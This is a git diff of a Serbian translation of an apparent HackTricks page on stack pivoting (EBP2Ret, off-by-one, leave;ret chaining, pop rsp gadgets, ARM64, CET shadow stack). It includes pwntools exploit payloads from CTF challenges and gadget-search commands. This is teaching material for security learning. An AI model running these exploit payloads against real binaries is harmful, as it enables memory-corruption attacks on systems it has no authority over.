Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:46 +00:00
parent eea7d0fd69
commit 0cbc8622f1

View File

@ -4,57 +4,61 @@
## Osnovne informacije
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivu upotrebu EBP registra i **`leave; ret`** instrukcijske sekvence.
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP/RBP)** da poveže izvršavanje više funkcija kroz pažljivu upotrebu frame pointer-a i **`leave; ret`** instrukcijske sekvence.
Kao podsetnik, **`leave`** u suštini znači:
Kao podsetnik, na x86/x86-64 **`leave`** je ekvivalentno:
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
I kao što je sačuvani **EBP/RBP u steku** pre sačuvanog EIP/RIP, moguće je kontrolisati ga kontrolišući stek.
> Napomene
> - Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
> - Neki kompajleri izostavljaju pokazivač okvira (vidi “EBP možda neće biti korišćen”). U tom slučaju, `leave` možda neće biti prisutan i ova tehnika neće raditi.
### EBP2Ret
Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje.
Ova tehnika je posebno korisna kada možete **izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP**. Ona koristi ponašanje epiloga funkcije.
Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\
Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
Ako, tokom izvršenja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se računalo za `pop`), možete indirektno kontrolisati RIP. Kada funkcija vrati, `leave` postavlja RSP na kreiranu lokaciju, a naredni `pop rbp` smanjuje RSP, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo**. Tada će `ret` koristiti tu adresu.
#### Exploit Construction
Obratite pažnju kako **morate znati 2 adrese**: adresu na koju će ESP/RSP ići, i vrednost sačuvanu na toj adresi koju će `ret` konzumirati.
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiće prvi `ret`**.
#### Konstrukcija Eksploata
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke/adrese**. RSP će pokazivati ovde i **konzumiraće prvi `ret`**.
Zatim, morate izabrati adresu koju koristi `ret` koja će **preneti izvršenje**. Možete koristiti:
- Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`** praćenu sa **4 junk bajta** i adresom `"/bin/sh"` (x86 bitovi).
- Adresu **`jump esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti.
- Neki [**ROP**](../rop-return-oriented-programing/index.html) lanac.
- Adresu **`system()`** praćenu odgovarajućim povratkom i argumentima (na x86: `ret` cilj = `&system`, zatim 4 bajta smeća, zatim `&"/bin/sh"`).
- Adresu **`jmp esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu inline shellcode-om.
- [**ROP**](../rop-return-oriented-programing/index.html) lanac postavljen u memoriji koja se može pisati.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće iskoristiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti **prostora za `pop ebp/rbp`** iz `leave` (8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite **drugi lažni EBP** i zadržite kontrolu nakon što se prvi poziv vrati.
#### Off-By-One Exploit
#### Off-By-One Eksploit
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa više ograničenim uslovima.\
Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.
Postoji varijanta koja se koristi kada možete **samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP**. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti.
Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraj kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši.
Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraj kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se konačni ROP lanac izvrši.
### **EBP Chaining**
### EBP Lanci
Dakle, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**.
Postavljanjem kontrolisane adrese u sačuvani `EBP` slot steka i `leave; ret` gadgeta u `EIP/RIP`, moguće je **premestiti `ESP/RSP` na adresu koju kontroliše napadač**.
Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to iskoristili, moguće je staviti na kontrolisano mesto ESP ovo:
Sada je `RSP` kontrolisan i sledeća instrukcija je `ret`. Stavite u kontrolisanu memoriju nešto poput:
- **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
- **`system()`** -> Pozvan od strane `ret`
- **`&(leave;ret)`** -> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi
- **`&("/bin/sh")`**-> Parametar za `system`
- `&(next fake EBP)` -> Učitano sa `pop ebp/rbp` iz `leave`.
- `&system()` -> Pozvano sa `ret`.
- `&(leave;ret)` -> Nakon što `system` završi, premesti RSP na sledeći lažni EBP i nastavlja.
- `&("/bin/sh")` -> Argument za `system`.
U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-a kako bi se kontrolisao tok programa.
Na ovaj način je moguće povezati nekoliko lažnih EBPa kako bi se kontrolisao tok programa.
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije i korisno samo u ivicama.
Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
```python
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaša lanac poziva funkcije kao što je `system`, dodajte uređaj za poravnanje (npr., `ret`, ili `sub rsp, 8 ; ret`) pre poziva kako biste održali poravnanje i izbegli `movaps` rušenja.
## EBP možda neće biti korišćen
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat.\
To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem pokazivača okvira, **EBP/RBP nikada ne kontroliše ESP/RSP**. Stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP/RBP će propasti jer prolog/epilog ne obnavlja iz pokazivača okvira.
- **Nije optimizovan:**
- Nije optimizovano / pokazivač okvira korišćen:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimizovano:**
- Optimizovano / pokazivač okvira izostavljen:
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
## Druge metode za kontrolu RSP
Na amd64 često ćete videti `pop rbp ; ret` umesto `leave ; ret`, ali ako je pokazivač okvira potpuno izostavljen, tada ne postoji `rbp`-bazirani epilog kroz koji se može pivotirati.
### **`pop rsp`** gadget
## Drugi načini za kontrolu RSP
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**:
### `pop rsp` gadget
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a tu je bio **`pop rsp` gadget** i postoji **leak sa steka**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -181,20 +188,67 @@ Proverite ret2esp tehniku ovde:
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Reference i Ostali Primeri
### Brzo pronalaženje pivot gadgeta
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovu "večnu" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
Koristite svoj omiljeni alat za pronalaženje gadgeta da biste pretražili klasične pivot primitivne:
- `leave ; ret` na funkcijama ili u bibliotekama
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (ili `add esp, <imm> ; ret` na x86)
Primeri:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Класични образац за пивотирање
Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима:
1) Користите мали иницијални прелив да позовете `read`/`recv` у велику пишућу област (нпр., `.bss`, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо.
2) Вратите се у пивот гажет (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) да преместите RSP у ту област.
3) Наставите са постављеним ланцем (нпр., leak libc, позовите `mprotect`, затим `read` shellcode, затим скочите на њега).
## Савремене мере које прекидају пивотирање стека (CET/Shadow Stack)
Савремени x86 ЦПУ-ови и ОС-ови све више примењују **CET Shadow Stack (SHSTK)**. Са укљученим SHSTK, `ret` упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први `ret` из пивотираног стека.
- За позадину и дубље детаље погледајте:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Брзи прегледи на Линуксу:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Beleške za laboratorije/CTF:
- Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela `nousershstk`, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima.
- JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida `ret`-zasnovane pivote.
- Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na `ret`; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu).
## ARM64
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u stacku. Štaviše, **`RET`** instrukcija ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u steku. Štaviše, **`RET`** instrukcija se ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar steka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
- prolog
@ -213,12 +267,23 @@ ret
```
> [!CAUTION]
> Način da se izvede nešto slično pivotovanju stacka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz stacka i imamo overflow) i zatim **zloupotrebljavati epilog** da učitamo **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
> Način da se izvede nešto slično pivotiranju steka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz steka i imamo preliv) i zatim **zloupotrebljavati epilog** da se učita **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
Takođe na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Reference
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotirajući sa RBP.
- Dokumentacija Linux kernela: Tehnologija zaštite toka kontrole (CET) Senčani stek — detalji o SHSTK, `nousershstk`, `/proc/$PID/status` zastavicama i omogućavanju putem `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Zaštita steka zasnovana na hardveru u režimu kernela (CET senčani stekovi na Windows-u). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}